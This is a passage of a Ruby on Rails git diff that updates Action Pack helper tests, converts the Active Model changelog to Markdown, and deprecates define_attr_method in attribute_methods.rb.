+ assert_match %r{/assets/application-[0-9a-f]+.js},
+ path_to_javascript("application.js")
+ end
+
+ test "stylesheet_path" do
+ assert_match %r{/assets/application-[0-9a-f]+.css},
+ stylesheet_path("application.css")
+
+ assert_match %r{/assets/application-[0-9a-f]+.css},
+ path_to_stylesheet("application.css")
end
test "stylesheets served without a controller in do not use asset hosts when the default protocol is :request" do
- remove_instance_variable("@controller")
- @config.action_controller.asset_host = "assets-%d.example.com"
- @config.action_controller.default_asset_host_protocol = :request
- @config.action_controller.perform_caching = true
+ @controller = nil
+ @config.asset_host = "assets-%d.example.com"
+ @config.default_asset_host_protocol = :request
+ @config.perform_caching = true
assert_match %r{/assets/logo-[0-9a-f]+.png},
asset_path("logo.png")
@@ -122,27 +179,38 @@ class SprocketsHelperTest < ActionView::TestCase
asset_path("/images/logo.gif")
end
- test "javascript path" do
+ test "asset path with relative url root when controller isn't present but relative_url_root is" do
+ @controller = nil
+ @config.relative_url_root = "/collaboration/hieraki"
+ assert_equal "/collaboration/hieraki/images/logo.gif",
+ asset_path("/images/logo.gif")
+ end
+
+ test "javascript path through asset_path" do
assert_match %r{/assets/application-[0-9a-f]+.js},
- asset_path(:application, "js")
+ asset_path(:application, :ext => "js")
assert_match %r{/assets/xmlhr-[0-9a-f]+.js},
- asset_path("xmlhr", "js")
+ asset_path("xmlhr", :ext => "js")
assert_match %r{/assets/dir/xmlhr-[0-9a-f]+.js},
- asset_path("dir/xmlhr.js", "js")
+ asset_path("dir/xmlhr.js", :ext => "js")
assert_equal "/dir/xmlhr.js",
- asset_path("/dir/xmlhr", "js")
+ asset_path("/dir/xmlhr", :ext => "js")
assert_equal "http://www.example.com/js/xmlhr",
- asset_path("http://www.example.com/js/xmlhr", "js")
+ asset_path("http://www.example.com/js/xmlhr", :ext => "js")
assert_equal "http://www.example.com/js/xmlhr.js",
- asset_path("http://www.example.com/js/xmlhr.js", "js")
+ asset_path("http://www.example.com/js/xmlhr.js", :ext => "js")
end
test "javascript include tag" do
assert_match %r{<script src="/assets/application-[0-9a-f]+.js" type="text/javascript"></script>},
javascript_include_tag(:application)
+ assert_match %r{<script src="/assets/application-[0-9a-f]+.js" type="text/javascript"></script>},
+ javascript_include_tag(:application, :digest => true)
+ assert_match %r{<script src="/assets/application.js" type="text/javascript"></script>},
+ javascript_include_tag(:application, :digest => false)
assert_match %r{<script src="/assets/xmlhr-[0-9a-f]+.js" type="text/javascript"></script>},
javascript_include_tag("xmlhr")
@@ -151,29 +219,43 @@ class SprocketsHelperTest < ActionView::TestCase
assert_equal '<script src="http://www.example.com/xmlhr" type="text/javascript"></script>',
javascript_include_tag("http://www.example.com/xmlhr")
+ assert_match %r{<script src=\"/assets/xmlhr-[0-9a-f]+.js" type=\"text/javascript\"></script>\n<script src=\"/assets/extra-[0-9a-f]+.js" type=\"text/javascript\"></script>},
+ javascript_include_tag("xmlhr", "extra")
+
assert_match %r{<script src="/assets/xmlhr-[0-9a-f]+.js\?body=1" type="text/javascript"></script>\n<script src="/assets/application-[0-9a-f]+.js\?body=1" type="text/javascript"></script>},
javascript_include_tag(:application, :debug => true)
- assert_match %r{<script src=\"/assets/xmlhr-[0-9a-f]+.js\" type=\"text/javascript\"></script>\n<script src=\"/assets/extra-[0-9a-f]+.js\" type=\"text/javascript\"></script>},
- javascript_include_tag("xmlhr", "extra")
+ assert_match %r{<script src="/assets/jquery.plugin.js" type="text/javascript"></script>},
+ javascript_include_tag('jquery.plugin', :digest => false)
+
+ @config.assets.compile = true
+ @config.assets.debug = true
+ assert_match %r{<script src="/javascripts/application.js" type="text/javascript"></script>},
+ javascript_include_tag('/javascripts/application')
+ assert_match %r{<script src="/assets/xmlhr-[0-9a-f]+.js\?body=1" type="text/javascript"></script>\n<script src="/assets/application-[0-9a-f]+.js\?body=1" type="text/javascript"></script>},
+ javascript_include_tag(:application)
end
- test "stylesheet path" do
- assert_match %r{/assets/application-[0-9a-f]+.css}, asset_path(:application, "css")
+ test "stylesheet path through asset_path" do
+ assert_match %r{/assets/application-[0-9a-f]+.css}, asset_path(:application, :ext => "css")
- assert_match %r{/assets/style-[0-9a-f]+.css}, asset_path("style", "css")
- assert_match %r{/assets/dir/style-[0-9a-f]+.css}, asset_path("dir/style.css", "css")
- assert_equal "/dir/style.css", asset_path("/dir/style.css", "css")
+ assert_match %r{/assets/style-[0-9a-f]+.css}, asset_path("style", :ext => "css")
+ assert_match %r{/assets/dir/style-[0-9a-f]+.css}, asset_path("dir/style.css", :ext => "css")
+ assert_equal "/dir/style.css", asset_path("/dir/style.css", :ext => "css")
assert_equal "http://www.example.com/css/style",
- asset_path("http://www.example.com/css/style", "css")
+ asset_path("http://www.example.com/css/style", :ext => "css")
assert_equal "http://www.example.com/css/style.css",
- asset_path("http://www.example.com/css/style.css", "css")
+ asset_path("http://www.example.com/css/style.css", :ext => "css")
end
test "stylesheet link tag" do
assert_match %r{<link href="/assets/application-[0-9a-f]+.css" media="screen" rel="stylesheet" type="text/css" />},
stylesheet_link_tag(:application)
+ assert_match %r{<link href="/assets/application-[0-9a-f]+.css" media="screen" rel="stylesheet" type="text/css" />},
+ stylesheet_link_tag(:application, :digest => true)
+ assert_match %r{<link href="/assets/application.css" media="screen" rel="stylesheet" type="text/css" />},
+ stylesheet_link_tag(:application, :digest => false)
assert_match %r{<link href="/assets/style-[0-9a-f]+.css" media="screen" rel="stylesheet" type="text/css" />},
stylesheet_link_tag("style")
@@ -187,22 +269,54 @@ class SprocketsHelperTest < ActionView::TestCase
assert_match %r{<link href="/assets/style-[0-9a-f]+.css" media="print" rel="stylesheet" type="text/css" />},
stylesheet_link_tag("style", :media => "print")
+ assert_match %r{<link href="/assets/style-[0-9a-f]+.css" media="screen" rel="stylesheet" type="text/css" />\n<link href="/assets/extra-[0-9a-f]+.css" media="screen" rel="stylesheet" type="text/css" />},
+ stylesheet_link_tag("style", "extra")
+
assert_match %r{<link href="/assets/style-[0-9a-f]+.css\?body=1" media="screen" rel="stylesheet" type="text/css" />\n<link href="/assets/application-[0-9a-f]+.css\?body=1" media="screen" rel="stylesheet" type="text/css" />},
stylesheet_link_tag(:application, :debug => true)
- assert_match %r{<link href="/assets/style-[0-9a-f]+.css" media="screen" rel="stylesheet" type="text/css" />\n<link href="/assets/extra-[0-9a-f]+.css" media="screen" rel="stylesheet" type="text/css" />},
- stylesheet_link_tag("style", "extra")
+ @config.assets.compile = true
+ @config.assets.debug = true
+ assert_match %r{<link href="/stylesheets/application.css" media="screen" rel="stylesheet" type="text/css" />},
+ stylesheet_link_tag('/stylesheets/application')
+
+ assert_match %r{<link href="/assets/style-[0-9a-f]+.css\?body=1" media="screen" rel="stylesheet" type="text/css" />\n<link href="/assets/application-[0-9a-f]+.css\?body=1" media="screen" rel="stylesheet" type="text/css" />},
+ stylesheet_link_tag(:application)
+
+ assert_match %r{<link href="/assets/style-[0-9a-f]+.css\?body=1" media="print" rel="stylesheet" type="text/css" />\n<link href="/assets/application-[0-9a-f]+.css\?body=1" media="print" rel="stylesheet" type="text/css" />},
+ stylesheet_link_tag(:application, :media => "print")
end
test "alternate asset prefix" do
stubs(:asset_prefix).returns("/themes/test")
- assert_match %r{/themes/test/style-[0-9a-f]+.css}, asset_path("style", "css")
+ assert_match %r{/themes/test/style-[0-9a-f]+.css}, asset_path("style", :ext => "css")
end
test "alternate asset environment" do
assets = Sprockets::Environment.new
assets.append_path(FIXTURES.join("sprockets/alternate/stylesheets"))
stubs(:asset_environment).returns(assets)
- assert_match %r{/assets/style-[0-9a-f]+.css}, asset_path("style", "css")
+ assert_match %r{/assets/style-[0-9a-f]+.css}, asset_path("style", :ext => "css")
+ end
+
+ test "alternate hash based on environment" do
+ assets = Sprockets::Environment.new
+ assets.version = 'development'
+ assets.append_path(FIXTURES.join("sprockets/alternate/stylesheets"))
+ stubs(:asset_environment).returns(assets)
+ dev_path = asset_path("style", :ext => "css")
+
+ assets.version = 'production'
+ prod_path = asset_path("style", :ext => "css")
+
+ assert_not_equal prod_path, dev_path
+ end
+
+ test "precedence of `config.digest = false` over manifest.yml asset digests" do
+ Rails.application.config.assets.digests = {'logo.png' => 'logo-d1g3st.png'}
+ @config.assets.digest = false
+
+ assert_equal '/assets/logo.png',
+ asset_path("logo.png")
end
end
diff --git a/actionpack/test/template/streaming_render_test.rb b/actionpack/test/template/streaming_render_test.rb
index 023ce723ed..4d01352b43 100644
--- a/actionpack/test/template/streaming_render_test.rb
+++ b/actionpack/test/template/streaming_render_test.rb
@@ -28,7 +28,7 @@ class FiberedTest < ActiveSupport::TestCase
def test_streaming_works
content = []
- body = render_body(:template => "test/hello_world.erb", :layout => "layouts/yield")
+ body = render_body(:template => "test/hello_world", :layout => "layouts/yield")
body.each do |piece|
content << piece
@@ -42,12 +42,12 @@ class FiberedTest < ActiveSupport::TestCase
end
def test_render_file
- assert_equal "Hello world!", buffered_render(:file => "test/hello_world.erb")
+ assert_equal "Hello world!", buffered_render(:file => "test/hello_world")
end
def test_render_file_with_locals
locals = { :secret => 'in the sauce' }
- assert_equal "The secret is in the sauce\n", buffered_render(:file => "test/render_file_with_locals.erb", :locals => locals)
+ assert_equal "The secret is in the sauce\n", buffered_render(:file => "test/render_file_with_locals", :locals => locals)
end
def test_render_partial
@@ -64,27 +64,27 @@ class FiberedTest < ActiveSupport::TestCase
def test_render_with_layout
assert_equal %(<title></title>\nHello world!\n),
- buffered_render(:template => "test/hello_world.erb", :layout => "layouts/yield")
+ buffered_render(:template => "test/hello_world", :layout => "layouts/yield")
end
def test_render_with_layout_which_has_render_inline
assert_equal %(welcome\nHello world!\n),
- buffered_render(:template => "test/hello_world.erb", :layout => "layouts/yield_with_render_inline_inside")
+ buffered_render(:template => "test/hello_world", :layout => "layouts/yield_with_render_inline_inside")
end
def test_render_with_layout_which_renders_another_partial
assert_equal %(partial html\nHello world!\n),
- buffered_render(:template => "test/hello_world.erb", :layout => "layouts/yield_with_render_partial_inside")
+ buffered_render(:template => "test/hello_world", :layout => "layouts/yield_with_render_partial_inside")
end
def test_render_with_nested_layout
assert_equal %(<title>title</title>\n\n<div id="column">column</div>\n<div id="content">content</div>\n),
- buffered_render(:template => "test/nested_layout.erb", :layout => "layouts/yield")
+ buffered_render(:template => "test/nested_layout", :layout => "layouts/yield")
end
def test_render_with_file_in_layout
assert_equal %(\n<title>title</title>\n\n),
- buffered_render(:template => "test/layout_render_file.erb")
+ buffered_render(:template => "test/layout_render_file")
end
def test_render_with_handler_without_streaming_support
diff --git a/actionpack/test/template/tag_helper_test.rb b/actionpack/test/template/tag_helper_test.rb
index 60b466a9ff..6c325d5abb 100644
--- a/actionpack/test/template/tag_helper_test.rb
+++ b/actionpack/test/template/tag_helper_test.rb
@@ -1,6 +1,8 @@
require 'abstract_unit'
class TagHelperTest < ActionView::TestCase
+ include RenderERBUtils
+
tests ActionView::Helpers::TagHelper
def test_tag
@@ -44,12 +46,12 @@ class TagHelperTest < ActionView::TestCase
end
def test_content_tag_with_block_in_erb
- buffer = content_tag(:div) { concat "Hello world!" }
+ buffer = render_erb("<%= content_tag(:div) do %>Hello world!<% end %>")
assert_dom_equal "<div>Hello world!</div>", buffer
end
def test_content_tag_with_block_and_options_in_erb
- buffer = content_tag(:div, :class => "green") { concat "Hello world!" }
+ buffer = render_erb("<%= content_tag(:div, :class => 'green') do %>Hello world!<% end %>")
assert_dom_equal %(<div class="green">Hello world!</div>), buffer
end
@@ -68,10 +70,8 @@ class TagHelperTest < ActionView::TestCase
output_buffer
end
- # TAG TODO: Move this into a real template
def test_content_tag_nested_in_content_tag_in_erb
- buffer = content_tag("p") { concat content_tag("b", "Hello") }
- assert_equal '<p><b>Hello</b></p>', buffer
+ assert_equal "<p>\n <b>Hello</b>\n</p>", view.render("test/content_tag_nested_in_content_tag")
end
def test_content_tag_with_escaped_array_class
diff --git a/actionpack/test/template/template_test.rb b/actionpack/test/template/template_test.rb
index b0ca7de0b6..70ca876c67 100644
--- a/actionpack/test/template/template_test.rb
+++ b/actionpack/test/template/template_test.rb
@@ -8,6 +8,9 @@ class TestERBTemplate < ActiveSupport::TestCase
def disable_cache
yield
end
+
+ def find_template(*args)
+ end
end
class Context
diff --git a/actionpack/test/template/test_test.rb b/actionpack/test/template/test_test.rb
index bf789cd8b7..adcbf1447f 100644
--- a/actionpack/test/template/test_test.rb
+++ b/actionpack/test/template/test_test.rb
@@ -62,3 +62,19 @@ class CrazyHelperTest < ActionView::TestCase
assert_equal PeopleHelper, self.class.helper_class
end
end
+
+class CrazySymbolHelperTest < ActionView::TestCase
+ tests :people
+
+ def test_set_helper_class_using_symbol
+ assert_equal PeopleHelper, self.class.helper_class
+ end
+end
+
+class CrazyStringHelperTest < ActionView::TestCase
+ tests 'people'
+
+ def test_set_helper_class_using_string
+ assert_equal PeopleHelper, self.class.helper_class
+ end
+end
diff --git a/actionpack/test/template/text_helper_test.rb b/actionpack/test/template/text_helper_test.rb
index f7c3986bb1..a0afb77f05 100644
--- a/actionpack/test/template/text_helper_test.rb
+++ b/actionpack/test/template/text_helper_test.rb
@@ -48,10 +48,10 @@ class TextHelperTest < ActionView::TestCase
assert_equal "<p><b> test with unsafe string </b><script>code!</script></p>", simple_format("<b> test with unsafe string </b><script>code!</script>", {}, :sanitize => false)
end
- def test_simple_format_should_not_change_the_frozen_text_passed
+ def test_simple_format_should_not_change_the_text_passed
text = "<b>Ok</b><script>code!</script>"
text_clone = text.dup
- simple_format(text.freeze)
+ simple_format(text)
assert_equal text_clone, text
end
@@ -194,6 +194,10 @@ class TextHelperTest < ActionView::TestCase
"<p>This is a <strong class=\"highlight\">beautiful</strong> <a href=\"http://example.com/beautiful#top?what=beautiful%20morning&amp;when=now+then\">morning</a>, but also a <strong class=\"highlight\">beautiful</strong> day</p>",
highlight("<p>This is a beautiful <a href=\"http://example.com/beautiful\#top?what=beautiful%20morning&when=now+then\">morning</a>, but also a beautiful day</p>", "beautiful")
)
+ assert_equal(
+ "<div>abc <b>div</b></div>",
+ highlight("<div>abc div</div>", "div", :highlighter => '<b>\1</b>')
+ )
end
def test_excerpt
diff --git a/actionpack/test/template/translation_helper_test.rb b/actionpack/test/template/translation_helper_test.rb
index cd9f54e04c..397de9c2ce 100644
--- a/actionpack/test/template/translation_helper_test.rb
+++ b/actionpack/test/template/translation_helper_test.rb
@@ -17,8 +17,13 @@ class TranslationHelperTest < ActiveSupport::TestCase
:hello => '<a>Hello World</a>',
:html => '<a>Hello World</a>',
:hello_html => '<a>Hello World</a>',
+ :interpolated_html => '<a>Hello %{word}</a>',
:array_html => %w(foo bar),
- :array => %w(foo bar)
+ :array => %w(foo bar),
+ :count_html => {
+ :one => '<a>One %{count}</a>',
+ :other => '<a>Other %{count}</a>'
+ }
}
)
@view = ::ActionView::Base.new(ActionController::Base.view_paths, {})
@@ -83,6 +88,17 @@ class TranslationHelperTest < ActiveSupport::TestCase
assert translate(:'translations.hello_html').html_safe?
end
+ def test_translate_escapes_interpolations_in_translations_with_a_html_suffix
+ assert_equal '<a>Hello &lt;World&gt;</a>', translate(:'translations.interpolated_html', :word => '<World>')
+ assert_equal '<a>Hello &lt;World&gt;</a>', translate(:'translations.interpolated_html', :word => stub(:to_s => "<World>"))
+ end
+
+ def test_translate_with_html_count
+ assert_equal '<a>One 1</a>', translate(:'translations.count_html', :count => 1)
+ assert_equal '<a>Other 2</a>', translate(:'translations.count_html', :count => 2)
+ assert_equal '<a>Other &lt;One&gt;</a>', translate(:'translations.count_html', :count => '<One>')
+ end
+
def test_translation_returning_an_array_ignores_html_suffix
assert_equal ["foo", "bar"], translate(:'translations.array_html')
end
diff --git a/actionpack/test/template/url_helper_test.rb b/actionpack/test/template/url_helper_test.rb
index 78245c1f95..bc45fabf34 100644
--- a/actionpack/test/template/url_helper_test.rb
+++ b/actionpack/test/template/url_helper_test.rb
@@ -88,6 +88,10 @@ class UrlHelperTest < ActiveSupport::TestCase
)
end
+ def test_button_to_with_remote_and_form_options
+ assert_dom_equal "<form method=\"post\" action=\"http://www.example.com\" class=\"custom-class\" data-remote=\"true\" data-type=\"json\"><div><input type=\"submit\" value=\"Hello\" /></div></form>", button_to("Hello", "http://www.example.com", :remote => true, :form => { :class => "custom-class", "data-type" => "json" } )
+ end
+
def test_button_to_with_remote_and_javascript_confirm
assert_dom_equal(
"<form method=\"post\" action=\"http://www.example.com\" class=\"button_to\" data-remote=\"true\"><div><input data-confirm=\"Are you sure?\" type=\"submit\" value=\"Hello\" /></div></form>",
@@ -304,8 +308,8 @@ class UrlHelperTest < ActiveSupport::TestCase
assert_equal "Showing", link_to_if(false, "Showing", url_hash)
end
- def request_for_url(url)
- env = Rack::MockRequest.env_for("http://www.example.com#{url}")
+ def request_for_url(url, opts = {})
+ env = Rack::MockRequest.env_for("http://www.example.com#{url}", opts)
ActionDispatch::Request.new(env)
end
@@ -329,6 +333,12 @@ class UrlHelperTest < ActiveSupport::TestCase
assert current_page?("http://www.example.com/?order=desc&page=1")
end
+ def test_current_page_with_not_get_verb
+ @request = request_for_url("/events", :method => :post)
+
+ assert !current_page?('/events')
+ end
+
def test_link_unless_current
@request = request_for_url("/")
diff --git a/activemodel/CHANGELOG b/activemodel/CHANGELOG
deleted file mode 100644
index 81386667c2..0000000000
--- a/activemodel/CHANGELOG
+++ /dev/null
@@ -1,105 +0,0 @@
-* Deprecate "Model.model_name.partial_path" in favor of "model.to_path" [Grant Hutchins]
-
-* Provide mass_assignment_sanitizer as an easy API to replace the sanitizer behavior. Also support both :logger (default) and :strict sanitizer behavior [Bogdan Gusiev]
-
-*Rails 3.1.0 (unreleased)*
-
-* Alternate I18n namespace lookup is no longer supported.
- Instead of "activerecord.models.admins.post", do "activerecord.models.admins/post" instead [José Valim]
-
-* attr_accessible and friends now accepts :as as option to specify a role [Josh Kalderimis]
-
-* Add support for proc or lambda as an option for InclusionValidator,
- ExclusionValidator, and FormatValidator [Prem Sichanugrist]
-
- You can now supply Proc, lambda, or anything that respond to #call in those
- validations, and it will be called with current record as an argument.
- That given proc or lambda must returns an object which respond to #include? for
- InclusionValidator and ExclusionValidator, and returns a regular expression
- object for FormatValidator.
-
-* Added ActiveModel::SecurePassword to encapsulate dead-simple password usage with BCrypt encryption and salting [DHH]
-
-* ActiveModel::AttributeMethods allows attributes to be defined on demand [Alexander Uvarov]
-
-* Add support for selectively enabling/disabling observers [Myron Marston]
-
-
-*Rails 3.0.7 (April 18, 2011)*
-
-*No changes.
-
-
-*Rails 3.0.6 (April 5, 2011)
-
-* Fix when database column name has some symbolic characters (e.g. Oracle CASE# VARCHAR2(20)) #5818 #6850 [Robert Pankowecki, Santiago Pastorino]
-
-* Fix length validation for fixnums #6556 [Andriy Tyurnikov]
-
-* Fix i18n key collision with namespaced models #6448 [yves.senn]
-
-
-*Rails 3.0.5 (February 26, 2011)*
-
-* No changes.
-
-
-*Rails 3.0.4 (February 8, 2011)*
-
-* No changes.
-
-
-*Rails 3.0.3 (November 16, 2010)*
-
-* No changes.
-
-
-*Rails 3.0.2 (November 15, 2010)*
-
-* No changes
-
-
-*Rails 3.0.1 (October 15, 2010)*
-
-* No Changes, just a version bump.
-
-
-*Rails 3.0.0 (August 29, 2010)*
-
-* Added ActiveModel::MassAssignmentSecurity [Eric Chapweske, Josh Kalderimis]
-
-* JSON supports a custom root option: to_json(:root => 'custom') #4515 [Jatinder Singh]
-
-* #new_record? and #destroyed? were removed from ActiveModel::Lint. Use
- persisted? instead. A model is persisted if it's not a new_record? and it was
- not destroyed? [MG]
-
-* Added validations reflection in ActiveModel::Validations [JV]
-
- Model.validators
- Model.validators_on(:field)
-
-* #to_key was added to ActiveModel::Lint so we can generate DOM IDs for
- AMo objects with composite keys [MG]
-
-* ActiveModel::Observer#add_observer!
-
- It has a custom hook to define after_find that should really be in a
- ActiveRecord::Observer subclass:
-
- def add_observer!(klass)
- klass.add_observer(self)
- klass.class_eval 'def after_find() end' unless klass.respond_to?(:after_find)
- end
-
-* Change the ActiveModel::Base.include_root_in_json default to true for Rails 3 [DHH]
-
-* Add validates_format_of :without => /regexp/ option. #430 [Elliot Winkler, Peer Allan]
-
- Example :
-
- validates_format_of :subdomain, :without => /www|admin|mail/
-
-* Introduce validates_with to encapsulate attribute validations in a class. #2630 [Jeff Dean]
-
-* Extracted from Active Record and Active Resource.
diff --git a/activemodel/CHANGELOG.md b/activemodel/CHANGELOG.md
new file mode 100644
index 0000000000..bd9ed996fe
--- /dev/null
+++ b/activemodel/CHANGELOG.md
@@ -0,0 +1,116 @@
+## Rails 3.2.0 (unreleased) ##
+
+* Deprecated `define_attr_method` in `ActiveModel::AttributeMethods`, because this only existed to
+ support methods like `set_table_name` in Active Record, which are themselves being deprecated.
+
+ *Jon Leighton*
+
+* Add ActiveModel::Errors#added? to check if a specific error has been added *Martin Svalin*
+
+* Add ability to define strict validation(with :strict => true option) that always raises exception when fails *Bogdan Gusiev*
+
+* Deprecate "Model.model_name.partial_path" in favor of "model.to_partial_path" *Grant Hutchins, Peter Jaros*
+
+* Provide mass_assignment_sanitizer as an easy API to replace the sanitizer behavior. Also support both :logger (default) and :strict sanitizer behavior *Bogdan Gusiev*
+
+## Rails 3.1.0 (August 30, 2011) ##
+
+* Alternate I18n namespace lookup is no longer supported.
+ Instead of "activerecord.models.admins.post", do "activerecord.models.admins/post" instead *José Valim*
+
+* attr_accessible and friends now accepts :as as option to specify a role *Josh Kalderimis*
+
+* Add support for proc or lambda as an option for InclusionValidator,
+ ExclusionValidator, and FormatValidator *Prem Sichanugrist*
+
+ You can now supply Proc, lambda, or anything that respond to #call in those
+ validations, and it will be called with current record as an argument.
+ That given proc or lambda must returns an object which respond to #include? for
+ InclusionValidator and ExclusionValidator, and returns a regular expression
+ object for FormatValidator.
+
+* Added ActiveModel::SecurePassword to encapsulate dead-simple password usage with BCrypt encryption and salting *DHH*
+
+* ActiveModel::AttributeMethods allows attributes to be defined on demand *Alexander Uvarov*
+
+* Add support for selectively enabling/disabling observers *Myron Marston*
+
+
+## Rails 3.0.7 (April 18, 2011) ##
+
+* No changes.
+
+
+* Rails 3.0.6 (April 5, 2011)
+
+* Fix when database column name has some symbolic characters (e.g. Oracle CASE# VARCHAR2(20)) #5818 #6850 *Robert Pankowecki, Santiago Pastorino*
+
+* Fix length validation for fixnums #6556 *Andriy Tyurnikov*
+
+* Fix i18n key collision with namespaced models #6448 *yves.senn*
+
+
+## Rails 3.0.5 (February 26, 2011) ##
+
+* No changes.
+
+
+## Rails 3.0.4 (February 8, 2011) ##
+
+* No changes.
+
+
+## Rails 3.0.3 (November 16, 2010) ##
+
+* No changes.
+
+
+## Rails 3.0.2 (November 15, 2010) ##
+
+* No changes
+
+
+## Rails 3.0.1 (October 15, 2010) ##
+
+* No Changes, just a version bump.
+
+
+## Rails 3.0.0 (August 29, 2010) ##
+
+* Added ActiveModel::MassAssignmentSecurity *Eric Chapweske, Josh Kalderimis*
+
+* JSON supports a custom root option: to_json(:root => 'custom') #4515 *Jatinder Singh*
+
+* #new_record? and #destroyed? were removed from ActiveModel::Lint. Use
+ persisted? instead. A model is persisted if it's not a new_record? and it was
+ not destroyed? *MG*
+
+* Added validations reflection in ActiveModel::Validations *JV*
+
+ Model.validators
+ Model.validators_on(:field)
+
+* #to_key was added to ActiveModel::Lint so we can generate DOM IDs for
+ AMo objects with composite keys *MG*
+
+* ActiveModel::Observer#add_observer!
+
+ It has a custom hook to define after_find that should really be in a
+ ActiveRecord::Observer subclass:
+
+ def add_observer!(klass)
+ klass.add_observer(self)
+ klass.class_eval 'def after_find() end' unless klass.respond_to?(:after_find)
+ end
+
+* Change the ActiveModel::Base.include_root_in_json default to true for Rails 3 *DHH*
+
+* Add validates_format_of :without => /regexp/ option. #430 *Elliot Winkler, Peer Allan*
+
+ Example :
+
+ validates_format_of :subdomain, :without => /www|admin|mail/
+
+* Introduce validates_with to encapsulate attribute validations in a class. #2630 *Jeff Dean*
+
+* Extracted from Active Record and Active Resource.
diff --git a/activemodel/README.rdoc b/activemodel/README.rdoc
index a0e6b4d9b3..67701bc422 100644
--- a/activemodel/README.rdoc
+++ b/activemodel/README.rdoc
@@ -186,13 +186,13 @@ modules:
== Download and installation
-The latest version of Active Model can be installed with Rubygems:
+The latest version of Active Model can be installed with RubyGems:
% [sudo] gem install activemodel
Source code can be downloaded as part of the Rails project on GitHub
-* https://github.com/rails/rails/tree/master/activemodel/
+* https://github.com/rails/rails/tree/master/activemodel
== License
diff --git a/activemodel/activemodel.gemspec b/activemodel/activemodel.gemspec
index 562f07fcd7..49f664bf89 100644
--- a/activemodel/activemodel.gemspec
+++ b/activemodel/activemodel.gemspec
@@ -13,11 +13,10 @@ Gem::Specification.new do |s|
s.email = 'david@loudthinking.com'
s.homepage = 'http://www.rubyonrails.org'
- s.files = Dir['CHANGELOG', 'MIT-LICENSE', 'README.rdoc', 'lib/**/*']
+ s.files = Dir['CHANGELOG.md', 'MIT-LICENSE', 'README.rdoc', 'lib/**/*']
s.require_path = 'lib'
s.add_dependency('activesupport', version)
s.add_dependency('builder', '~> 3.0.0')
s.add_dependency('i18n', '~> 0.6')
- s.add_dependency('bcrypt-ruby', '~> 2.1.4')
end
diff --git a/activemodel/lib/active_model/attribute_methods.rb b/activemodel/lib/active_model/attribute_methods.rb
index bdc0eb4a0d..dba059eacd 100644
--- a/activemodel/lib/active_model/attribute_methods.rb
+++ b/activemodel/lib/active_model/attribute_methods.rb
@@ -1,5 +1,6 @@
require 'active_support/core_ext/hash/keys'
require 'active_support/core_ext/class/attribute'
+require 'active_support/deprecation'
module ActiveModel
class MissingAttributeError < NoMethodError
@@ -56,54 +57,38 @@ module ActiveModel
module AttributeMethods
extend ActiveSupport::Concern
- COMPILABLE_REGEXP = /\A[a-zA-Z_]\w*[!?=]?\z/
+ NAME_COMPILABLE_REGEXP = /\A[a-zA-Z_]\w*[!?=]?\z/
+ CALL_COMPILABLE_REGEXP = /\A[a-zA-Z_]\w*[!?]?\z/
included do
class_attribute :attribute_method_matchers, :instance_writer => false
- self.attribute_method_matchers = []
+ self.attribute_method_matchers = [ClassMethods::AttributeMethodMatcher.new]
end
module ClassMethods
- # Defines an "attribute" method (like +inheritance_column+ or +table_name+).
- # A new (class) method will be created with the given name. If a value is
- # specified, the new method will return that value (as a string).
- # Otherwise, the given block will be used to compute the value of the
- # method.
- #
- # The original method will be aliased, with the new name being prefixed
- # with "original_". This allows the new method to access the original
- # value.
- #
- # Example:
- #
- # class Person
- #
- # include ActiveModel::AttributeMethods
- #
- # cattr_accessor :primary_key
- # cattr_accessor :inheritance_column
- #
- # define_attr_method :primary_key, "sysid"
- # define_attr_method( :inheritance_column ) do
- # original_inheritance_column + "_id"
- # end
- #
- # end
- #
- # Provides you with:
- #
- # AttributePerson.primary_key
- # # => "sysid"
- # AttributePerson.inheritance_column = 'address'
- # AttributePerson.inheritance_column
- # # => 'address_id'
- def define_attr_method(name, value=nil, &block)
+ def define_attr_method(name, value=nil, deprecation_warning = true, &block) #:nodoc:
+ # This deprecation_warning param is for internal use so that we can silence
+ # the warning from Active Record, because we are implementing more specific
+ # messages there instead.
+ #
+ # It doesn't apply to the original_#{name} method as we want to warn if
+ # people are calling that regardless.
+ if deprecation_warning
+ ActiveSupport::Deprecation.warn("define_attr_method is deprecated and will be removed without replacement.")
+ end
+
sing = singleton_class
sing.class_eval <<-eorb, __FILE__, __LINE__ + 1
- if method_defined?('original_#{name}')
- undef :'original_#{name}'
+ remove_possible_method :'original_#{name}'
+ remove_possible_method :'_original_#{name}'
+ alias_method :'_original_#{name}', :'#{name}'
+ define_method :'original_#{name}' do
+ ActiveSupport::Deprecation.warn(
+ "This method is generated by ActiveModel::AttributeMethods::ClassMethods#define_attr_method, " \
+ "which is deprecated and will be removed."
+ )
+ send(:'_original_#{name}')
end
- alias_method :'original_#{name}', :'#{name}'
eorb
if block_given?
sing.send :define_method, name, &block
@@ -111,7 +96,7 @@ module ActiveModel
# If we can compile the method name, do it. Otherwise use define_method.
# This is an important *optimization*, please don't change it. define_method
# has slower dispatch and consumes more memory.
- if name =~ COMPILABLE_REGEXP
+ if name =~ NAME_COMPILABLE_REGEXP
sing.class_eval <<-RUBY, __FILE__, __LINE__ + 1
def #{name}; #{value.nil? ? 'nil' : value.to_s.inspect}; end
RUBY
@@ -239,18 +224,7 @@ module ActiveModel
attribute_method_matchers.each do |matcher|
matcher_new = matcher.method_name(new_name).to_s
matcher_old = matcher.method_name(old_name).to_s
-
- if matcher_new =~ COMPILABLE_REGEXP && matcher_old =~ COMPILABLE_REGEXP
- module_eval <<-RUBY, __FILE__, __LINE__ + 1
- def #{matcher_new}(*args)
- send(:#{matcher_old}, *args)
- end
- RUBY
- else
- define_method(matcher_new) do |*args|
- send(matcher_old, *args)
- end
- end
+ define_optimized_call self, matcher_new, matcher_old
end
end
@@ -284,33 +258,15 @@ module ActiveModel
def define_attribute_method(attr_name)
attribute_method_matchers.each do |matcher|
- unless instance_method_already_implemented?(matcher.method_name(attr_name))
- generate_method = "define_method_#{matcher.prefix}attribute#{matcher.suffix}"
+ method_name = matcher.method_name(attr_name)
+
+ unless instance_method_already_implemented?(method_name)
+ generate_method = "define_method_#{matcher.method_missing_target}"
if respond_to?(generate_method)
send(generate_method, attr_name)
else
- method_name = matcher.method_name(attr_name)
-
- generated_attribute_methods.module_eval <<-RUBY, __FILE__, __LINE__ + 1
- if method_defined?('#{method_name}')
- undef :'#{method_name}'
- end
- RUBY
-
- if method_name.to_s =~ COMPILABLE_REGEXP
- generated_attribute_methods.module_eval <<-RUBY, __FILE__, __LINE__ + 1
- def #{method_name}(*args)
- send(:#{matcher.method_missing_target}, '#{attr_name}', *args)
- end
- RUBY
- else
